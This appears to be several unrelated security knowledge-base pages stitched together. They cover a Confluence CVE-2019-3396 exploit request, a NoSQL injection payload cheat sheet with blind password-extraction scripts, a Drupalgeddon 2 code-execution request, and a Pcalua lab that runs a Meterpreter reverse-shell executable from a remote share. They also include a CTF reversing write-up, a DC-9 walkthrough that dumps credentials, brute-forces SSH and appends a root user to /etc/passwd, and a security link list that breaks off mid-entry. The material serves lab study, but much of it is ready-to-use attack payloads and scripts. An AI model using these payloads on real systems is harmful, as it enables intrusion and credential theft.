# Atlassian Confluence Path Traversal and Command Execution Vulnerability (CVE-2019-3396) [中文版本(Chinese version)](README.zh-cn.md) Confluence is a web-based corporate wiki developed by Australian software company Atlassian. An unauthorized directory traversal vulnerability exists before version 6.14.2 of Atlassian Confluence, which an attacker can read arbitrary files or execute arbitrary commands using Velocity template injection. Reference: - https://paper.seebug.org/884/ - https://jira.atlassian.com/browse/CONFSERVER-57974 ## Vulnerability Environment Start a Confluence Server 6.10.2 by executing the following command. ``` docker compose up -d ``` After the environment starts, visit ``http://your-ip:8090`` and you will see the installation guide, select "Trial installation", then you will be asked to fill in the license key. You should apply for a Confluence Server test certificate from Atlassian: ![](1.png) Then just click Next to install. This step of small memory VPS may fail to install or take a long time (it is recommended to use a machine with more than 4G memory for installation and testing), please wait patiently. If prompted to fill in the cluster node, the path can be filled in with `/home/confluence`. ![](4.png) You may be asked to fill in the database account password, choose the postgres database, the address is `db`, the account password is `postgres`: ![](5.png) ## Exploit The file `web.xml` can be read by sending the following packet. ``` POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: localhost:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23& Content-Type: application/json; charset=utf-8 Content-Length: 176 {"contentId": "786458", "macro":{"name": "widget", "body":"", "params":{"url": "https://www.viddler.com/v/23464dc6", "width": "1000"," height": "1000","_template":". /web.xml"}}} ``` ![](6.png) Confluence before 6.12 did not restrict the protocol and path for file reading, we can use `file:///etc/passwd` to read files, or `https://...` to load remote files. If the file is a Velocity template, and we can execute arbitrary commands via template injection (SSTI): ![](7.png)
sec-knowleage
# PHP安全 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **writeup** - [BUUCTF WEB [RoarCTF 2019]Easy Calc](https://blog.csdn.net/qq_42967398/article/details/103512717) - [安洵杯 2019 easy_web](https://www.btis.site/2020/08/01/%E5%AE%89%E6%B4%B5%E6%9D%AF-2019-easy-web/) --- ## PHP代码审计 - [PHP代码审计](./PHP安全/PHP代码审计.md) --- ## bypass_disable_function - [bypass_disable_function](./PHP安全/bypass_disable_function.md) --- ## phpinfo - [phpinfo](./PHP安全/phpinfo.md)
sec-knowleage
# NoSQL Injection > NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. ## Summary * [Tools](#tools) * [Exploit](#exploits) * [Authentication Bypass](#authentication-bypass) * [Extract length information](#extract-length-information) * [Extract data information](#extract-data-information) * [Blind NoSQL](#blind-nosql) * [POST with JSON body](#post-with-json-body) * [POST with urlencoded body](#post-with-urlencoded-body) * [GET](#get) * [MongoDB Payloads](#mongodb-payloads) * [References](#references) ## Tools * [NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool](https://github.com/codingo/NoSQLMap) * [nosqlilab - A lab for playing with NoSQL Injection](https://github.com/digininja/nosqlilab) * [Burp-NoSQLiScanner - Plugin available in burpsuite](https://github.com/matrix/Burp-NoSQLiScanner) ## Exploit ### Authentication Bypass Basic authentication bypass using not equal ($ne) or greater ($gt) ```json in DATA username[$ne]=toto&password[$ne]=toto login[$regex]=a.*&pass[$ne]=lol login[$gt]=admin&login[$lt]=test&pass[$ne]=1 login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto in JSON {"username": {"$ne": null}, "password": {"$ne": null}} {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}} {"username": {"$gt": undefined}, "password": {"$gt": undefined}} {"username": {"$gt":""}, "password": {"$gt":""}} ``` ### Extract length information ```json username[$ne]=toto&password[$regex]=.{1} username[$ne]=toto&password[$regex]=.{3} ``` ### Extract data information ```json in URL username[$ne]=toto&password[$regex]=m.{2} username[$ne]=toto&password[$regex]=md.{1} username[$ne]=toto&password[$regex]=mdp username[$ne]=toto&password[$regex]=m.* username[$ne]=toto&password[$regex]=md.* in JSON {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }} {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }} {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} ``` Extract data with "in" ```json {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} ``` ### SSJI ```json ';return 'a'=='a' && ''==' ";return 'a'=='a' && ''==' 0;return true ``` ## Blind NoSQL ### POST with JSON body python script: ```python import requests import urllib3 import string import urllib urllib3.disable_warnings() username="admin" password="" u="http://example.org/login" headers={'content-type': 'application/json'} while True: for c in string.printable: if c not in ['*','+','.','?','|']: payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False) if 'OK' in r.text or r.status_code == 302: print("Found one more char : %s" % (password+c)) password += c ``` ### POST with urlencoded body python script: ```python import requests import urllib3 import string import urllib urllib3.disable_warnings() username="admin" password="" u="http://example.org/login" headers={'content-type': 'application/x-www-form-urlencoded'} while True: for c in string.printable: if c not in ['*','+','.','?','|','&','$']: payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c) r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False) if r.status_code == 302 and r.headers['Location'] == '/dashboard': print("Found one more char : %s" % (password+c)) password += c ``` ### GET python script: ```python import requests import urllib3 import string import urllib urllib3.disable_warnings() username='admin' password='' u='http://example.org/login' while True: for c in string.printable: if c not in ['*','+','.','?','|', '#', '&', '$']: payload=f"?username={username}&password[$regex]=^{password + c}" r = requests.get(u + payload) if 'Yeah' in r.text: print(f"Found one more char : {password+c}") password += c ``` ruby script: ```ruby require 'httpx' username = 'admin' password = '' url = 'http://example.org/login' # CHARSET = (?!..?~).to_a # all ASCII printable characters CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-' GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$'] session = HTTPX.plugin(:persistent) while true CHARSET.each do |c| unless GET_EXCLUDE.include?(c) payload = "?username=#{username}&password[$regex]=^#{password + c}" res = session.get(url + payload) if res.body.to_s.match?('Yeah') puts "Found one more char : #{password + c}" password += c end end end end ``` ## MongoDB Payloads ```bash true, $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' ', $where: '1 == 1' 1, $where: '1 == 1' { $ne: 1 } ', $or: [ {}, { 'a':'a ' } ], $comment:'successful MongoDB injection' db.injection.insert({success:1}); db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 || 1==1 ' && this.password.match(/.*/)//+%00 ' && this.passwordzz.match(/.*/)//+%00 '%20%26%26%20this.password.match(/.*/)//+%00 '%20%26%26%20this.passwordzz.match(/.*/)//+%00 {$gt: ''} [$ne]=1 ';return 'a'=='a' && ''==' ";return(true);var xyz='a 0;return true ``` ## References * [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat](https://www.dailysecurity.fr/nosql-injections-classique-blind/) * [Testing for NoSQL injection - OWASP/WSTG](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection) * [NoSQL injection wordlists - cr0hn](https://github.com/cr0hn/nosqlinjection_wordlists) * [NoSQL Injection in MongoDB - JUL 17, 2016 - Zanon](https://zanon.io/posts/nosql-injection-in-mongodb) * [Burp-NoSQLiScanner](https://github.com/matrix/Burp-NoSQLiScanner/blob/main/src/burp/BurpExtender.java)
sec-knowleage
# Beginner Category: Reversing > Dust off the cobwebs, let's reverse! An executable was attached. ## Solution Let's run the file: ```console root@kali:/media/sf_CTFs/google/beginner# ./a.out Flag: test FAILURE ``` Looks like a simple program where we need to enter the flag. Since `grep`, `strace` and `ptrace` don't show the flag in plaintext, let's take a look at the disassembly using Ghidra: ```c ulong main(void) { int iVar1; uint uVar2; undefined auVar3 [16]; undefined user_input [16]; undefined4 local_28; undefined4 uStack36; undefined4 uStack32; undefined4 uStack28; printf("Flag: "); __isoc99_scanf(&DAT_0010200b,user_input); auVar3 = pshufb(user_input,SHUFFLE); auVar3 = CONCAT412(SUB164(auVar3 >> 0x60,0) + ADD32._12_4_, CONCAT48(SUB164(auVar3 >> 0x40,0) + ADD32._8_4_, CONCAT44(SUB164(auVar3 >> 0x20,0) + ADD32._4_4_, SUB164(auVar3,0) + ADD32._0_4_))) ^ XOR; local_28 = SUB164(auVar3,0); uStack36 = SUB164(auVar3 >> 0x20,0); uStack32 = SUB164(XOR >> 0x40,0); uStack28 = SUB164(XOR >> 0x60,0); iVar1 = strncmp(user_input,(char *)&local_28,0x10); if (iVar1 == 0) { uVar2 = strncmp((char *)&local_28,EXPECTED_PREFIX,4); // EXPECTED_PREFIX = "CTF{" if (uVar2 == 0) { puts("SUCCESS"); goto LAB_00101112; } } uVar2 = 1; puts("FAILURE"); LAB_00101112: return (ulong)uVar2; } ``` Looks simple enough, except for the part where the user input is scrambled with `pshufb`, concatenations, XORs, shifts and what not. So, instead of trying to understand all that, let's solve this with `angr`: > angr is a python framework for analyzing binaries. It combines both static and dynamic symbolic ("concolic") analysis, making it applicable to a variety of tasks. Basically, we create a Python program that uses `angr` to explore the different paths that the program can take, and ask it to find us a path that will take us to a *good* location: Printing "SUCCESS". The address we want to arrive to is: ```assembly LAB_0010111d XREF[1]: 001010fe(j) 0010111d 48 8d 3d LEA RDI,[s_SUCCESS_00102010] = "SUCCESS" ec 0e 00 00 00101124 e8 17 ff CALL puts int puts(char * __s) ff ff ``` The address we want to avoid it: ```assembly LAB_00101100 XREF[1]: 001010e3(j) 00101100 48 8d 3d LEA RDI,[s_FAILURE_00102018] = "FAILURE" 11 0f 00 00 00101107 41 bc 01 MOV R12D,0x1 00 00 00 0010110d e8 2e ff CALL puts int puts(char * __s) ff ff ``` Apart from that, we just need to know the flag length. From the buffer sizes and the `strncmp`, it looks like 15 (plus one extra character for the NULL terminator). Note that this is an ASLR-enabled binary, and Ghidra gives it a base address of 0x100000. So, we align our angr script to the same base address. Here's the script: ```python import angr import claripy FLAG_LEN = 15 STDIN_FD = 0 base_addr = 0x100000 # To match addresses to Ghidra proj = angr.Project("./a.out", main_opts={'base_addr': base_addr}) flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(FLAG_LEN)] flag = claripy.Concat( *flag_chars + [claripy.BVV(b'\n')]) # Add \n for scanf() to accept the input state = proj.factory.full_init_state( args=['./a.out'], add_options=angr.options.unicorn, stdin=flag, ) # Add constraints that all characters are printable for k in flag_chars: state.solver.add(k >= ord('!')) state.solver.add(k <= ord('~')) simgr = proj.factory.simulation_manager(state) find_addr = 0x101124 # SUCCESS avoid_addr = 0x10110d # FAILURE simgr.explore(find=find_addr, avoid=avoid_addr) if (len(simgr.found) > 0): for found in simgr.found: print(found.posix.dumps(STDIN_FD)) ``` We run the script and get the flag within a few seconds: ```console (angr) root@kali:/media/sf_CTFs/google/beginner# python3 solve.py WARNING | 2020-08-23 15:13:00,365 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior. WARNING | 2020-08-23 15:13:00,366 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2020-08-23 15:13:00,366 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state WARNING | 2020-08-23 15:13:00,367 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2020-08-23 15:13:00,367 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages. WARNING | 2020-08-23 15:13:00,368 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffefff8 with 1 unconstrained bytes referenced from 0x299d80 (explicit_bzero+0x8c40 in libc.so.6 (0x99d80)) WARNING | 2020-08-23 15:13:00,425 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffefff9 with 7 unconstrained bytes referenced from 0x299dad (explicit_bzero+0x8c6d in libc.so.6 (0x99dad)) WARNING | 2020-08-23 15:13:05,064 | angr.state_plugins.symbolic_memory | Filling memory at 0x7ffffffffff0000 with 48 unconstrained bytes referenced from 0x28a7f0 (strncmp+0x0 in libc.so.6 (0x8a7f0)) WARNING | 2020-08-23 15:13:05,086 | angr.state_plugins.symbolic_memory | Filling memory at 0x7ffffffffff0030 with 16 unconstrained bytes referenced from 0x28a7f0 (strncmp+0x0 in libc.so.6 (0x8a7f0)) b'CTF{S1MDf0rM3!}\n' ```
sec-knowleage
# Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600) Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞。相关分析如下: - https://research.checkpoint.com/uncovering-drupalgeddon-2/ ## 漏洞环境 执行如下命令启动drupal 8.5.0的环境: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080/`将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。 ## 漏洞复现 参考[a2u/CVE-2018-7600](https://github.com/a2u/CVE-2018-7600/blob/master/exploit.py),我们向安装完成的drupal发送如下数据包: ``` POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 103 form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id ``` 成功执行代码,这个代码最终执行了id命令: ![](1.png)
sec-knowleage
## shellcode 给定一段 shellcode,执行并获取结果。 工具 ==== - [shellcodeexec](https://github.com/inquisb/shellcodeexec) 题目 ==== - Jarvis OJ - Basic - shellcode
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 ### Pcalua简介: Windows进程兼容性助理(Program Compatibility Assistant)的一个组件。 **说明:**Pcalua.exe所在路径已被系统添加PATH环境变量中,因此,Pcalua命令可识别 Windows 7 默认位置: ```bash C:\Windows\System32\pcalua.exe ``` **攻击机:** 192.168.1.4 Debian **靶机:** 192.168.1.5 Windows 7 ### 配置攻击机msf: ```bash msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 ``` ![](media/13ed50e69746598b03e25538d5ce8f0e.jpg) ### 靶机执行: ```bash Pcalua -m -a \\192.168.1.119\share\rev_x86_53_exe.exe ``` ![](media/812c8fdac52fcd263438540c02c72205.jpg) ```bash msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (179779 bytes) to 192.168.1.5 [*] Meterpreter session 23 opened (192.168.1.4:53 ‐> 192.168.1.5:11349) at 2019‐01‐20 09:25:01 ‐0500 meterpreter > getuid Server username: John‐PC\John meterpreter > getpid Current pid: 11236 meterpreter > ``` ![](media/245a3a34008b549f40544d7438828123.jpg) > Micropoor
sec-knowleage
# DC 9 下载地址:https://download.vulnhub.com/dc/DC-9.zip ## 实战演练 靶场IP:`192.168.32.168` ![image-20220714112225328](../../.gitbook/assets/image-20220714112225328.png) 扫描对外开放端口 ``` ┌──(root💀kali)-[~/Desktop] └─# nmap -p1-65535 192.168.32.168 1 ⚙ Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-13 23:22 EDT Nmap scan report for 192.168.32.168 Host is up (0.00090s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp filtered ssh 80/tcp open http MAC Address: 00:0C:29:86:F5:D2 (VMware) Nmap done: 1 IP address (1 host up) scanned in 1.64 seconds ``` 浏览器访问80端口 ![image-20220714112431556](../../.gitbook/assets/image-20220714112431556.png) 有一个搜索接口 ![image-20220714112744316](../../.gitbook/assets/image-20220714112744316.png) 有SQL注入漏洞 ``` POST /results.php HTTP/1.1 Host: 192.168.32.168 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 10 Origin: http://192.168.32.168 Connection: keep-alive Referer: http://192.168.32.168/search.php Upgrade-Insecure-Requests: 1 search=123 ``` 获取用户信息 ``` ┌──(root💀kali)-[/tmp] └─# sqlmap -r 1.txt -p search -D users --dump-all Database: users Table: UserDetails [17 entries] +----+------------+---------------+---------------------+-----------+-----------+ | id | lastname | password | reg_date | username | firstname | +----+------------+---------------+---------------------+-----------+-----------+ | 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary | | 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie | | 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred | | 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney | | 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom | | 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry | | 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma | | 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty | | 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler | | 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey | | 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel | | 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross | | 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica | | 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe | | 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter | | 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald | | 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott | +----+------------+---------------+---------------------+-----------+-----------+ ``` 获取业务系统管理员账号密码 ``` ┌──(root💀kali)-[/tmp] └─# sqlmap -r 1.txt -p search -D Staff -T Users --dump Database: Staff Table: Users [1 entry] +--------+----------------------------------+----------+ | UserID | Password | Username | +--------+----------------------------------+----------+ | 1 | 856f5de590ef37314e7c3bdf6f8a66dc | admin | +--------+----------------------------------+----------+ ``` MD5解密为`transorbital1` ![image-20220714113658042](../../.gitbook/assets/image-20220714113658042.png) 有个文件不存在提示 ![image-20220714113909942](../../.gitbook/assets/image-20220714113909942.png) 本地包含漏洞 ``` http://192.168.32.168/manage.php?file=../../../../../../../etc/passwd ``` ![image-20220714113951174](../../.gitbook/assets/image-20220714113951174.png) 还记得过滤后的 SSH 端口,它可能表明使用了端口敲门方法吗?由于我们现在可以访问目标的文件系统,我们可以尝试找到默认位于/etc/文件夹中的`knockd.conf`配置文件。这意味着我们的 URL 应该是: ``` http://192.168.32.168/manage.php?file=../../../../../../../../etc/knockd.conf ``` ![image-20220714114104646](../../.gitbook/assets/image-20220714114104646.png) 使用knock进行端口打开 ``` ┌──(root💀kali)-[/tmp] └─# knock 192.168.32.168 7469 8475 9842 1 ⚙ ┌──(root💀kali)-[/tmp] └─# nmap -p22 192.168.32.168 1 ⚙ Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-13 23:44 EDT Nmap scan report for 192.168.32.168 Host is up (0.00016s latency). PORT STATE SERVICE 22/tcp open ssh MAC Address: 00:0C:29:86:F5:D2 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds ``` 使用hydra爆破SSH 用户 ``` ┌──(root💀kali)-[/tmp] └─# hydra -L user.txt -P pass.txt ssh://192.168.32.168 1 ⚙ Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-13 23:52:09 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 936 login tries (l:52/p:18), ~59 tries per task [DATA] attacking ssh://192.168.32.168:22/ [STATUS] 322.00 tries/min, 322 tries in 00:01h, 618 to do in 00:02h, 16 active [22][ssh] host: 192.168.32.168 login: chandlerb password: UrAG0D! [22][ssh] host: 192.168.32.168 login: joeyt password: Passw0rd [22][ssh] host: 192.168.32.168 login: janitor password: Ilovepeepee [STATUS] 324.50 tries/min, 649 tries in 00:02h, 291 to do in 00:01h, 16 active 1 of 1 target successfully completed, 3 valid passwords found [WARNING] Writing restore file because 15 final worker threads did not complete until end. [ERROR] 15 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-07-13 23:55:03 ``` 使用janitor用户进行登录,发现一些密码 ``` janitor@dc-9:~$ cat .secrets-for-putin/passwords-found-on-post-it-notes.txt BamBam01 Passw0rd smellycats P0Lic#10-4 B4-Tru3-001 4uGU5T-NiGHts janitor@dc-9:~$ ``` 根据新密码重新爆破 ``` ┌──(root💀kali)-[/tmp] └─# hydra -L user.txt -P pass1.txt ssh://192.168.32.168 1 ⚙ Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-13 23:58:09 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 364 login tries (l:52/p:7), ~23 tries per task [DATA] attacking ssh://192.168.32.168:22/ [22][ssh] host: 192.168.32.168 login: fredf password: B4-Tru3-001 [22][ssh] host: 192.168.32.168 login: joeyt password: Passw0rd 1 of 1 target successfully completed, 2 valid passwords found [WARNING] Writing restore file because 9 final worker threads did not complete until end. [ERROR] 9 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-07-13 23:59:06 ``` 使用`fredf`用户登录,查看sudo列表,发现一个`test`二进制程序 ``` fredf@dc-9:~$ sudo -l Matching Defaults entries for fredf on dc-9: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User fredf may run the following commands on dc-9: (root) NOPASSWD: /opt/devstuff/dist/test/test ``` 找到程序的源码 ``` fredf@dc-9:/opt/devstuff$ /opt/devstuff/dist/test/test Usage: python test.py read append fredf@dc-9:/opt/devstuff$ cat test.py #!/usr/bin/python import sys if len (sys.argv) != 3 : print ("Usage: python test.py read append") sys.exit (1) else : f = open(sys.argv[1], "r") output = (f.read()) f = open(sys.argv[2], "a") f.write(output) f.close() ``` 提权成功 ``` fredf@dc-9:/opt/devstuff$ openssl passwd -1 -salt pavan 123456 $1$pavan$qv9M3fBmtDPrOTBZflNl81 fredf@dc-9:/opt/devstuff$ echo 'pavan:$1$pavan$qv9M3fBmtDPrOTBZflNl81:0:0::/root:/bin/bash' >> /tmp/raj fredf@dc-9:/opt/devstuff$ fredf@dc-9:/opt/devstuff$ sudo /opt/devstuff/dist/test/test /tmp/raj /etc/passwd fredf@dc-9:/opt/devstuff$ su pavan Password: ``` ``` root@dc-9:/opt/devstuff# cat /root/theflag.txt ███╗ ██╗██╗ ██████╗███████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗██╗██╗██╗ ████╗ ██║██║██╔════╝██╔════╝ ██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║ ██╔██╗ ██║██║██║ █████╗ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ██║██║██║ ██║╚██╗██║██║██║ ██╔══╝ ██║███╗██║██║ ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝ ██║ ╚████║██║╚██████╗███████╗ ╚███╔███╔╝╚██████╔╝██║ ██║██║ ██╗██╗██╗██╗ ╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝╚═╝ Congratulations - you have done well to get to this point. Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those who have taken the time to complete the various DC challenges. I also want to send out a big thank you to the various members of @m0tl3ycr3w . They are an inspirational bunch of fellows. Sure, they might smell a bit, but...just kidding. :-) Sadly, all things must come to an end, and this will be the last ever challenge in the DC series. So long, and thanks for all the fish. ```
sec-knowleage
# Awesome Security [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/sindresorhus/awesome) A collection of awesome software, libraries, documents, books, resources and cool stuff about security. Inspired by [awesome-php](https://github.com/ziadoz/awesome-php), [awesome-python](https://github.com/vinta/awesome-python). Thanks to all [contributors](https://github.com/sbilly/awesome-security/graphs/contributors), you're awesome and wouldn't be possible without you! The goal is to build a categorized community-driven collection of very well-known resources. - [Awesome Security](#awesome-security) - [Network](#network) - [Scanning / Pentesting](#scanning--pentesting) - [Monitoring / Logging](#monitoring--logging) - [IDS / IPS / Host IDS / Host IPS](#ids--ips--host-ids--host-ips) - [Honey Pot / Honey Net](#honey-pot--honey-net) - [Full Packet Capture / Forensic](#full-packet-capture--forensic) - [Sniffer](#sniffer) - [Security Information & Event Management](#security-information--event-management) - [VPN](#vpn) - [Fast Packet Processing](#fast-packet-processing) - [Firewall](#firewall) - [Anti-Spam](#anti-spam) - [Docker](#docker-images-for-penetration-testing--security) - [Endpoint](#endpoint) - [Anti-Virus / Anti-Malware](#anti-virus--anti-malware) - [Content Disarm & Reconstruct](#content-disarm--reconstruct) - [Configuration Management](#configuration-management) - [Authentication](#authentication) - [Mobile / Android / iOS](#mobile--android--ios) - [Forensics](#forensics) - [Threat Intelligence](#threat-intelligence) - [Social Engineering](#social-engineering) - [Web](#web) - [Organization](#organization) - [Web Application Firewall](#web-application-firewall) - [Scanning / Pentesting](#scanning--pentesting-1) - [Runtime Application Self-Protection](#runtime-application-self-protection) - [Development](#development) - [Red Team Infrastructure Deployment](#red-team-infrastructure-deployment) - [Exploits & Payloads](#exploits--payloads) - [Usability](#usability) - [Big Data](#big-data) - [DevOps](#devops) - [Terminal](#terminal) - [Operating Systems](#operating-systems) - [Online resources](#online-resources) - [Datastores](#datastores) - [Fraud prevention](#fraud-prevention) - [EBooks](#ebooks) - [Other Awesome Lists](#other-awesome-lists) - [Other Security Awesome Lists](#other-security-awesome-lists) - [Other Common Awesome Lists](#other-common-awesome-lists) - [Contributing](#contributing) ------ ## Network ### Network architecture - [Network-segmentation-cheat-sheet](https://github.com/sergiomarotco/Network-segmentation-cheat-sheet) - This project was created to publish the best practices for segmentation of the corporate network of any company. In general, the schemes in this project are suitable for any company. ### Scanning / Pentesting - [OpenVAS](http://www.openvas.org/) - OpenVAS is a framework of several services and tools offering a comprehensive and powerful vulnerability scanning and vulnerability management solution. - [Metasploit Framework](https://github.com/rapid7/metasploit-framework) - A tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research. - [Kali](https://www.kali.org/) - Kali Linux is a Debian-derived Linux distribution designed for digital forensics and penetration testing. Kali Linux is preinstalled with numerous penetration-testing programs, including nmap (a port scanner), Wireshark (a packet analyzer), John the Ripper (a password cracker), and Aircrack-ng (a software suite for penetration-testing wireless LANs). - [tsurugi](https://tsurugi-linux.org/) - heavily customized Linux distribution that designed to support DFIR investigations, malware analysis and OSINT activities. It is based on Ubuntu 20.04(64-bit with a 5.15.12 custom kernel) - [pig](https://github.com/rafael-santiago/pig) - A Linux packet crafting tool. - [scapy](https://github.com/gpotter2/awesome-scapy) - Scapy: the python-based interactive packet manipulation program & library. - [Pompem](https://github.com/rfunix/Pompem) - Pompem is an open source tool, which is designed to automate the search for exploits in major databases. Developed in Python, has a system of advanced search, thus facilitating the work of pentesters and ethical hackers. In its current version, performs searches in databases: Exploit-db, 1337day, Packetstorm Security... - [Nmap](https://nmap.org) - Nmap is a free and open source utility for network discovery and security auditing. - [Amass](https://github.com/caffix/amass) - Amass performs DNS subdomain enumeration by scraping the largest number of disparate data sources, recursive brute forcing, crawling of web archives, permuting and altering names, reverse DNS sweeping and other techniques. - [Anevicon](https://github.com/rozgo/anevicon) - The most powerful UDP-based load generator, written in Rust. - 